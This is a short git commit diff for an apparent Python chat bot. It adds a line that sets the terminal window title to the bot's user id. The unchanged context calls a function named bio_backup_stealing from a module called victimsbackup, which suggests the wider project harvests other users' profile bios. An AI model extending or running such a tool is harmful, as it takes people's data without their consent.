set title of running bot user id

This commit is contained in:
Your Name 2024-12-21 08:45:41 +03:00
parent 698462b3d5
commit 5ea22e534b

View file

@ -9,6 +9,7 @@ from loguru import logger
import time import time
import sys import sys
import os
import asyncio import asyncio
import re import re
@ -169,7 +170,8 @@ async def main():
#################################################################### ####################################################################
if is_termux: if is_termux:
asyncio.ensure_future(updatenotif.git_notifications_update()) asyncio.ensure_future(updatenotif.git_notifications_update())
elif os.name == 'posix':
print(f'\33]0;bot {my_id}\a', end='', flush=True)
await victimsbackup.bio_backup_stealing(client, c, conn, default_directory) await victimsbackup.bio_backup_stealing(client, c, conn, default_directory)
if config.db_pymysql: if config.db_pymysql: